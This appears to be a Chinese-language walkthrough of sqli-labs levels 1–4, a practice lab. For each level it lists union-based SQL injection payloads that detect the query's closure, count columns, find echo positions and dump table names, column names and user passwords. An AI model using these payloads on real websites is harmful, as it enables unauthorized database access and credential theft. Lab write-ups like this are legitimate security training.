sql-lab 第一关
1、判断注入类型,判断闭合方式
常见得闭合方式:
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--
判断出是单引号闭合,字符型
?id=1' and 1=1--+
?id=1' and '1'='1
有回显
?id=1' and 1=2--+
?id=1' and '1'='2
无回显
2、利用order by或union select猜测字段数
原理:order by 排序可以按照指定的「字段名」排序,我们可以指定 username 字段,让查询结果按照用户名进行排序
也可以按照索引进行排序,字段后面接说明是升序(ASC)或者降序(DESC)时,默认是ASC。默认是升序
如果orderby后面接不存在索引,就会报错,通常利用这种特性,来进行猜测字段数
union select 1,2,3#
原理: union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同
?id=1' order by 4 --+
出现报错
?id=1' order by 3 --+
正常回显
回显位置有三个
3、利用union select 判断回显位子,原理同上
前面的sql语句需要将其变成变为假条件,这样只会显示后面的查询语句,从而判断回显位
输入-1' union select database(),user()#进行查询 :
?id=-1' union select 1,2,3 --+
4、拼接sql语句查询数据库名称
?id=-1' union select 1,database(),3 --+# ...2号字段会显示当前数据库的名称。
5、查询数据库中所有表的名称
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()#
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
group_concat(xxx)是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
只能查询第一个表名
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1--+
后面添加 limit 2,1 是限制输出从第二个表开始取一个表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
group_concat() 函数是将里面得数组变成字符串连接一起
有时候会有输出位置限制,输出会只显示一部分,可以采用limit 0,1对数据库进行精确查询
6、查询表中所有的字段
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.column where table_schema=database() and table_name='表名'#
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users' --+
7、查询数据
and 1=2 union select 1,2,字段名,4 from 表名#
显示字段的数据
?id=-1' union select 1,group_concat(username) ,group_concat(password) from users --+
sql-lab 第二关
1、判断注入类型,判断闭合方式
根据一下输入判断为数字型
1
有回显
1'
报错
1 and 1=1--+
有回显
1 and 1=2--+
无回显
后面得和前面第一关一样
2、利用order by或union select猜测字段数
?id=1 order by 4 --+
3、利用union select 判断回显位子,原理同上
?id=-1 union select 1,2,3 --+
4、拼接sql语句查询数据库名称
?id=-1 union select 1,database(),3 --+
5、查询数据库中所有表的名称
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()--+
6、查询表中所有的字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema =database() and table_name ='users'--+
7、查询数据
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
显示字段的数据
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6YskuRPf-1689683853618)(C:\Users\21134\Desktop\金信润天培训\知识笔记总结(自己写)\sql-lab闯关.assets\image-20230718154423673.png)]
sql-lab 第三关
1、判断注入类型,判断闭合方式
1
有回显
1'
报错
根据报错判断闭合
?id=1') and 1=1--+
有回显
?id=1') and 1=2--+
无回显
闭合方式为')
根据index.php源码判断闭合方式为
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
2、利用order by或union select猜测字段数
剩余的和上面一致
?id=1') order by 4 --+
3、利用union select 判断回显位子,原理同上
?id=-1') union select 1,2,3 --+
4、拼接sql语句查询数据库名称
?id=-1') union select 1,database(),3 --+
5、查询数据库中所有表的名称
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6、查询表中所有的字段
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
7、查询数据
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+
显示字段的数据
sql-lab 第四关
1、判断注入类型,判断闭合方式
1
正常回显
1'
正常回显
1"
报错
判断闭合方式为 ")
查看源码,发现是双引号连接id,并且有()包裹
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
后面得一切正常
2、利用order by或union select猜测字段数
?id=1") order by 4--+
3、利用union select 判断回显位子,原理同上
?id=-1") union select 1,2,3--+
4、拼接sql语句查询数据库名称
?id=-1") union select 1,database(),3--+
5、查询数据库中所有表的名称
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
6、查询表中所有的字段
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
7、查询数据
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
显示字段的数据